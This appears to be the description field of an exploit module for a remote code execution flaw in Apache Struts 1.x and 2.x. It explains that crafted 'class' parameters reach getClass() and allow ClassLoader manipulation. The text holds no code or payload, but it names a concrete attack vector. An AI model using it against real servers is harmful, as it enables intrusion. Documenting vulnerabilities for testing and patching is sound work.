        This module exploits a remote command execution vulnerability in Apache Struts versions
        1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
        the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
        to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
        mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
        allow remote attackers to execute arbitrary Java code via crafted parameters.
